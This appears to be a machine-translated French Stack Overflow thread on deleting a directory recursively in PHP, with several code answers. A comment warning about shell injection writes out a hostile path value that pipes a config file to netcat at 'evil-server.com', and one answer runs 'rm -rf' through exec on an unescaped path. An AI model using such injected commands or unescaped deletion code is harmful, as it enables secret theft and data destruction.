Un appel récursif à supprimer le répertoire de la fonction de PHP?

J'utilise PHP pour déplacer le contenu d'un sous-dossier images

GalleryName/images/

dans un autre dossier. Après le déménagement, j'ai besoin de supprimer le GalleryName répertoire et tout le reste à l'intérieur, il.

Je sais que rmdir() ne fonctionnent pas si le répertoire est vide. J'ai passé tout en essayant de construire une fonction récursive scandir() en commençant par le haut puis unlink() si c'est un fichier et scandir() si c'est un répertoire, puis rmdir() chaque répertoire vide que je vais.

Jusqu'à présent, il ne fonctionne pas exactement droit, et j'ai commencé à penser -- n'est-ce pas un ridiculement simple fonction PHP devrait être capable de faire? Suppression d'un répertoire?

Donc, il y a quelque chose que je suis absent? Ou est-il au moins une fonction éprouvée que les gens utilisent pour cette action?

Toute aide serait appréciée.

PS j'ai confiance en vous tous, ici plus que les commentaires sur les php.net site -- il y a des centaines de fonctions, mais je suis intéressé à entendre si l'un de vous recommander l'un sur les autres.

  • Avez-vous envisagé de shell_exec() fonction avec un "rm -fr"? Pas la meilleure approche, mais si vous maintenant ce que vous faites, il fonctionne très bien.
  • très dangereux, mais si vous devez utiliser le shell et le chemin réel des fonctions
InformationsquelleAutor rhodesjason | 2009-09-10
  1. 88

    Quoi à ce sujet?

    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dirPath, FilesystemIterator::SKIP_DOTS), RecursiveIteratorIterator::CHILD_FIRST) as $path) {
        $path->isDir() && !$path->isLink() ? rmdir($path->getPathname()) : unlink($path->getPathname());
}
rmdir($dirPath);
    • +1 pour la plus courte de code et probablement le meilleur & plus rapide de la solution de travail 🙂
    • Nice one, n'oubliez pas d'ajouter rmdir($dirPath) après le foreach, sinon, il ne fera que supprimer des fichiers.
    • Ajouté rmdir() de l'appel. Merci!
    • $path->isFile() ? unlink($path->getPathname()) : rmdir($path->getPathname()); devrait être $path->isDir() ? rmdir($path->getPathname()) : unlink($path->getPathname()); donc les liens sont traitées.
    • Semble être la meilleure solution, car apparemment il fonctionne sur n'importe quel OS.
    • Vous pouvez télécharger cet extrait de code pour github avec une licence MIT, de sorte que je peux l'utiliser ou est-il suffisamment court pour que je puisse l'utiliser sans se conformer à la dépassement de pile à licence cc-by-sa?

    InformationsquelleAutor barbushin
  2. 14

    C'est la fonction récursive j'ai créés/modifiés et que, finalement, semble être au travail. J'espère qu'il n'est pas quelque chose de trop dangereux en elle.

    function destroy_dir($dir) { 
    if (!is_dir($dir) || is_link($dir)) return unlink($dir); 
    foreach (scandir($dir) as $file) { 
        if ($file == '.' || $file == '..') continue; 
        if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) { 
            chmod($dir . DIRECTORY_SEPARATOR . $file, 0777); 
            if (!destroy_dir($dir . DIRECTORY_SEPARATOR . $file)) return false; 
        }; 
    } 
    return rmdir($dir); 
}
    • Cette fonction est dangereux, au lieu de $item il doit être $fichier!
    InformationsquelleAutor rhodesjason
  3. 2

    Si le serveur d'application s'exécute linux, il suffit d'utiliser la shell_exec() de la fonction, et de lui donner la rm-R de la commande, comme ceci:

        $realPath = realpath($dir_path);

    if($realPath === FALSE){
         throw new \Exception('Directory does not exist');
    }

    shell_exec("rm ". escapeshellarg($realPath) ." -R");

    Explication:

    Supprime le répertoire spécifié de manière récursive seulement si le chemin existe et s'échappe du chemin de sorte qu'il ne peut être utilisé comme une coquille argument pour éviter de shell de commande d'injection.

    Si vous ne devriez pas utiliser escapeshellarg on pourrait exécuter des commandes en donnant le nom du répertoire à supprimer après une commande.

    • selon l'endroit où $dir_path vient de, vous pourriez présenter un très gros problème de sécurité. Supposons que, j'ai en quelque sorte mis $dir_path = "-F --no-preserve-root /"; ou peut-être juste $dir_path = "; cat config/config.php | nc evil-server.com 80 ;"; bien, les possibilités sont infinies.
    • oui, mais vous pouvez envelopper $dir_path dans la fonction realpath() pour éviter cela
    • On pourrait, mais l'exemple ci-dessus ne fonctionne pas. Et comme il se trouve maintenant, il est un dangereux morceau de conseils à donner. Cette réponse a été considérée 32.000 fois au moment de m'écrire cela. Si seulement 0,1% copié mot à mot dans une mauvaise situation, c'est de 32 personnes avec un énorme problème de sécurité.
    InformationsquelleAutor Gabriel Guelfi
  4. 0

    J'ai adapté une fonction qui gère caché des fichiers unix avec le point de préfixe et utilise glob:

    public static function deleteDir($path) {
    if (!is_dir($path)) {
        throw new InvalidArgumentException("$path is not a directory");
    }
    if (substr($path, strlen($path) - 1, 1) != '/') {
        $path .= '/';
    }
    $dotfiles = glob($path . '.*', GLOB_MARK);
    $files = glob($path . '*', GLOB_MARK);
    $files = array_merge($files, $dotfiles);
    foreach ($files as $file) {
        if (basename($file) == '.' || basename($file) == '..') {
            continue;
        } else if (is_dir($file)) {
            self::deleteDir($file);
        } else {
            unlink($file);
        }
    }
    rmdir($path);
}
    InformationsquelleAutor Aram Kocharyan
  5. 0

    Il y a un autre thread avec plus d'exemples ici:
    Comment puis-je supprimer récursivement un répertoire et tout son contenu (fichiers + les sous répertoires) en PHP?

    Si vous utilisez Yii, alors vous pouvez le laisser pour le cadre:

    CFileHelper::removeDirectory($my_directory);
    InformationsquelleAutor David Newcomb
  6. 0

    Je préfère une amélioration de la méthode de la dérivée de la php pages d'aide http://php.net/manual/en/function.rmdir.php#115598

     //check accidential empty, root or relative pathes
 if (!empty($path) && ...)
 {
  if (PHP_OS === 'Windows')
  {
    exec('rd /s /q "'.$path.'"');
  }
  else
  {
      exec('rm -rf "'.$path.'"');
  }
}
else
{
    error_log('path not valid:$path'.var_export($path, true));
}

    raisons de ma décision:

    • moins de code
    • vitesse
    • keep it simple
    InformationsquelleAutor user1680948
  7. 0
    public static function rrmdir($dir)
{
    if (is_dir($dir)) {
        $files = scandir($dir);
        foreach ($files as $file) {
            if ($file != "." && $file != "..") {
                if (filetype($dir . "/" . $file) == "dir")
                    self::rrmdir($dir . "/" . $file);
                else
                    unlink($dir . "/" . $file);
            }
        }
        reset($files);
        rmdir($dir);
    }
}
    InformationsquelleAutor yousef